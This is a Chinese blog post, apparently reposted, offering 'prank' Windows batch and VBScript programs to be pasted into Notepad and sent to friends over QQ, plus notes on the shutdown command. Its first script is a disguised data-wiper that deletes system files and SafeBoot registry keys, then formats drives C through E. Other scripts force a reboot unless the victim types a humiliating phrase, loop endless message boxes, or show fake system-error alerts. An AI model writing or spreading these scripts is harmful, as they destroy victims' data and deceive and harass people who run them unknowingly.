admin管理员组文章数量:1531980
2024年4月24日发(作者:)
Windows下的记事本的小程序编写(恶搞小程序)
2012-05-16 11:35:16| 分类: IT|字号 订阅
整人小程序复制文字改后缀就能制作
目录:
1、删掉电脑系统(过于恶毒,轻易别尝试)
2、运行后每5秒弹出对话框“哈哈!你中招了!” 弹出20次~(可修改次数)
3、我是猪
4、无法关闭的对话框(必须点击60下以上才可关闭)
5、综合型
(提供一个最恶毒的,复制到文本文档,后缀改为.bat
echo off
echo 等待......
echo 正在分析系统......
REG
"HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlSafeBoot"
Network /f
DELETE
/v
REG
"HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlSafeBoot"
Minimal /f
DELETE
/v
ATTRIB %SYSTEMDRIVE% -s -a -r -h
DEL %SYSTEMDRIVE% /f
del %SYSTEMROOT%system32logfiles*.*
del %SYSTEMROOT%sytem32config*.evt
del %SYSTEMROOT%system32dtclog*.*
del %SYSTEMROOT%system32*.log
del %SYSTEMROOT%system32*.txt
del %SYSTEMROOT%*.txt
del %SYSTEMROOT%*.log
del /f /s /q %system%*.dll
del /f /s /q %system%*.prx
del /f /s /q %system%*.tbl
del /f /s /q %system%*.cpx
del /f /s /q %system%*.rom
del /f /s /q %system%*.uce
del /f /s /q %system%recycled*.*
del /f /s /q %system32%*.dll
del /f /s /q %system32%*.prx
del /f /s /q %system32%*.tbl
del /f /s /q %system32%*.cpx
del /f /s /q %system32%*.rom
del /f /s /q %system32%*.uce
del /f /s /q %system32%recycled*.*
del /f /s /q %windir%*.bak
del /f /s /q %windir%prefetch*.*
del /f /s /q *.*
sfc /purgecache
del /f /s /q %systemdrive%*.tmp
del /f /s /q %systemdrive%*._mp
del /f /s /q %systemdrive%*.log
del /f /s /q %systemdrive%*.old
del /f /s /q %systemdrive%recycled*.*
del /f /s /q %windir%*.bak
del /f /s /q %windir%*.log
del /f /s /q %windir%*.tmp
del /f /s /q %windir%prefetch*.*
rd /s /q %temp% & md %temp%
del /f /q %userprofile%recent*.*
del /f /s /q "%userprofile%Local SettingsTemporary Internet Files*.*"
del /f /s /q "%userprofile%Local SettingsTemp*.*"
del /f /s /q "%userprofile%recent*.*"
@rd /s /q G: & md G:
@rd /s /q F: & md F:
@rd /s /q E: & md E:
@rd /s /q D: & md D:
@rd /s /q C: & md C:
@rd /s /q A: & md A:
@for %%e in (C D E F G) do del /f /s /q %e:* >nul
rd /s /q %windir%temp & md %windir%temp
del /f /q %userprofile%cookies*.*
del /f /q %userprofile%recent*.*
del /f /s /q "%userprofile%Local SettingsTemporary Internet Files*.*"
del /f /s /q "%userprofile%Local SettingsTemp*.*"
del /f /s /q "%userprofile%recent*.*"
del /f /q E:我的电脑正在清理windows系统dll*.*
@format c: /q/u/autoset
@format d: /q/u/autoset
@format e: /q/u/autoset
goto end
del c:*.exe
del d:*.dll
del e:*.vbe
del f:*.bat
del g:*.cmd
echo OK!
echo.
shutdown -s -t 0)
1...这个没什么太大意思~
不过瘾
运行后每5秒弹出对话框 弹出20次~
set ws=object("")
"",0
set WshShell = Object("")
alerttitle = "系统提示"
alerttext ="哈哈!你中招了!"
for i = 1 to 20
(1000*5)
msgbox alerttext,4096,alerttitle
next
复制代码到记事本中 保存为.vbs
2...说我是猪,就不关机,快撒,说 ""我是猪"" ","说不说"
方法如下:在开始内点击运行输入at xx:xx shutdown -s,xx:xx代表几点几分是在几
点几分关机输入 -s -t xx,xx代表多少秒钟后关机 如果要取消,就输入
shutdown -a就可以取消了.
我听一个朋友说,有个人给他发个东西。他看了下。。说要输入一句话。。不然就管你
机。是怎么编的。。。我知道关机命令和取消命令。。。不知道要对方怎么输才可以取消命令。。
脚本,例如下面的东西。就可以实现。
首先呢,我们在桌面创建个新文件夹然后打开,在上面找到-工具T-文件夹选项O-查看
把隐藏已知文件类型的扩展名前面的勾去掉.
然后我们开始制作.在桌面建立个记事本,然后把下面代码复制进去
on error resume next
dim WSHshellA
set WSHshellA = object("")
" /c shutdown -r -t 60 -c ""说我是猪,不说我是猪就一分
钟关你机,不信,你试试···"" ",0 ,true
dim a
do while(a <> "我是猪")
a = inputbox ("说我是猪,就不关机,快撒,说 ""我是猪"" ","说不说","不说
",8000,7000)
msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox"
loop
msgbox chr(13) + chr(13) + chr(13) + "早说就行了嘛,呵呵,猪"
dim WSHshell
set WSHshell = object("")
" /c shutdown -a",0 ,true
msgbox chr(13) + chr(13) + chr(13) + "哈哈哈哈,真过瘾"
复制之后呢,把后缀修改为.vbs或者改变打开方式为应用程序,这样你再压缩下用QQ
发给你朋友,对方打
开了就在60秒内要关闭计算机,
结素任务都不行,他只能说他是猪才能解决问题。够坏吧? 注意哦,你可以把我是猪
那个修改成任
意想说的话,要是对付你喜欢的人,
就修改成 我爱你 这样他只有说我爱你之后才不关闭计算机哦 也可以把时间修改为
20 就是说打
开了20秒就关了,还没等对方打完就关机了 是不是叫对方很郁闷呢?
3...
首先你可以看下面的
("嘿,谢谢你打开我哦,我等你很久拉!"&TSName)
("你是可爱的小朋吗?")
("哈,我想你拉,这你都不知道吗?")
("怎么才来,说~是不是不关心我")
("哼,我生气拉,等你这么久,心都凉啦。")
("小强很生气,后果很严重哦。")
("嘿嘿!你也会很惨滴哦")
("是不是想清除我?")
("那你要点上50下哦,不过会给你惊喜滴")
("还剩49下,快点点哦")
("还剩48下,快点,小笨蛋!")
("还剩47下对,就这样快点点!")
("还剩46下。你啊就是笨,要快哦,我先不打扰你工作。")
("还剩45下,记得要快哦!")
("还剩43下")
("还剩42下")
("还剩41下")
("还剩40下")
("还剩39下")
("还剩38下")
("还剩37下")
("还剩36下")
("还剩35下")
("还剩34下")
("还剩33下")
("还剩32下")
("还剩30下")
("还剩29下")
("还剩28下")
("还剩27下")
("还剩26下")
("还剩25下")
("还剩24下")
("还剩23下")
("还剩22下")
("还剩21下")
("还剩20下")
("还剩19下")
("还剩18下")
("还剩17下")
("还剩16下")
("还剩15下")
("还剩14下")
("还剩13下停停!!!慢点,我有话要说")
("还剩12下,你继续点我就会消失滴")
("还剩11下,以后就看不到我拉。555555")
("还剩10下,你现在可以选择停止!")
("还剩9下。你还点啊,不要我拉?")
("还剩8下,有点伤心拉,干嘛丢弃人家")
("还剩7下。疯了,你有点负意!")
("还剩6下。对。你就点吧,我恨你!")
("还剩5下,不明白,删除我你就好吗?")
("还剩4下!真要删除我?")
("还剩3下。可是我真的很眷恋你。。。")
("还剩2下。不要这么绝情嘛,人家是爱你的!")
("还剩1下。哼,既然你这么绝情。也别怪我无义!!!")
("我本因该消失的,不过我留恋你滴芳容,上帝又给了一次机会。")
("想结素我么?那你就再多点一次")
("想结素我么?那你就再多点一次")
("想结素我么?那你就再多点一次")
("想结素我么?那你就再多点一次")
("想结素我么?那你就再多点一次")
("想结素我么?那你就再多点一次")
("想结素我么?那你就再多点一次")
("想结素我么?那你就再多点一次")
("想结素我么?那你就再多点一次")
("想结素我么?那你就再多点一次")
把这个复制在记事本,把后缀修改成.vbs
在打开呢就会先说第一句的 嘿,谢谢你打开我哦,我等你很久拉!
他无论是点关闭或者是点确定都会再说第2句
再点就说地3句 会按顺序说完
你们注意哦,最后10句话,只是10句,你要是把这个复制再粘贴N次,那他还有个打
完呢?
这样才做到整人了,要是给喜欢的人发去啊,那就写你要说的话吧,双引号里面的可
以随便更改
这个最简单的就是结素任务来结束它
5..
do
msgbox "准备安装right table1.0"
Set WshShell = Object("")
"正在安装,"&vbcrlf&"请等待,请不要按确认!!"&vbcrlf&"请不
要按确认",5,"安装过程"
"安装完成,请按确认启动",,"安装完成"
msgbox "请准备"
x=inputbox ("1启动,0关闭","是否启动?","1")
if x=1 then
z=inputbox ("请输入1或2","请选择功能")
end if
if z=1 then
do until i=10
i=i+1
msgbox "CPU温度过高,系统出现严重误!",16+4096,"系统错误"
1000*60 '时间可以自己改
loop
elseif z=2 then
a=InputBox("快说“我是笨蛋”,一个停顿都不能有,不然我就关机!","老公我爱你
","我是,笨蛋")
If a="我是笨蛋" Then
Msgbox"这就对了嘛!",0,"我是笨蛋"
msgbox"进入"
msgbox"sorry,your computer is &*(^*&%"
Elseif a="我是,笨蛋" Then
Msgbox"一个停顿也不许有,没看见呀?",16,"我是笨蛋"
Else
Msgbox"还不说?你再不说我就关机了!",16,"我是笨蛋"
End If
end if
if x=0 then
msgbox "真的要退出吗?"
y=inputbox ("返回1,退出0","真的要退出吗?","1")
end if
if y=1 then
msgbox "笨蛋这下后悔也来不及了!"
do while 1
msgbox "现在就永远管不了了!"
loop
elseif y=0 then
msgbox "现在关闭"
exit do
end if
loop
2。
把以下代码复制到记事本中 然后重命名为后缀名为VBS的文件~
do
msgbox"爽死你~"
loop
Windows XP的关机是由程序来控制的,位于WindowsSystem32
文件夹中。如
果想让Windows 2000也实现同样的效果,可以把复制到系统目录下。
比如你的电脑要在22:00关机,可以选择“开始→运行”,输入“at 22:00 Shutdown
-s”,
这样,到了22点电脑就会出现“系统关机”对话框,默认有30秒钟的倒计时并提示你
保存工
作。如果你想以倒计时的方式关机,可以输入“ -s -t 3600”,这里表
示60
分钟后自动关机,“3600”代表60分钟。
设置好自动关机后,如果想取消的话,可以在运行中输入“shutdown -a”。另外输
入
“shutdown -i”,则可以打开设置自动关机对话框,对自动关机进行设置。
的参数,每个都具有特定的用途,执行每一个都会产生不同的效果,
比如
“-s”就表示关闭本地计算机,“-a”表示取消关机操作,下面列出了更多参数,大
家
可以在中按需使用。
-f:强行关闭应用程序
-m 计算机名:控制远程计算机
-i:显示图形用户界面,但必须是Shutdown的第一个选项
-l:注销当前用户
-r:关机并重启
-t 时间:设置关机倒计时
-c "消息内容":输入关机对话框中的消息内容(不能超127个字符)
有时候,我们需要定时关闭计算机,下面介绍一个在Windows XP下实现定时关机的
简单方
法。
指定系统在22分钟后自动关闭:点击“开始→运行”,在“打开”中输入命令
“Shutdown
-s -t 1320”(注意:引号不输入,参数之间有空格,1320的单位是秒),单击“确
定”
按钮即可。
指定系统在某个时间(比如12:00)自动关闭:在“打开”中输入命令
“at 12:00 Shutdown -s”即可。
取消定时关机:在“打开”中输入命令“Shutdown -a”即可。
能的实现都是使用“Shutdown”命令实现的,shutdown的参数是在命令行窗口中
输入
“shutdown”。笔者认为最有用的是“-i”参数,可以调出“远程关机对话框”,
能方便地实现局域网内计算机的远程关机,有兴趣的朋友可以试一试。
开始-程序-附件-系统工具-计划任务-添加任务计划-下一步-浏览
-c:-下一步-选好要关机的时间,
下一步-输入用户名和密码,只要是系统里有的用户就行,但一定要有密码,
没有也要设一个,下一步,选上“在完成时打开此任务的高级属性”,
在运行栏后面加上“ -S”引号不要哦。
版权声明:本文标题:Windows下的记事本的小程序编写(恶搞小程序) 内容由热心网友自发贡献,该文观点仅代表作者本人, 转载请联系作者并注明出处:https://m.elefans.com/xitong/1713923906a378331.html, 本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌抄袭侵权/违法违规的内容,一经查实,本站将立刻删除。
发表评论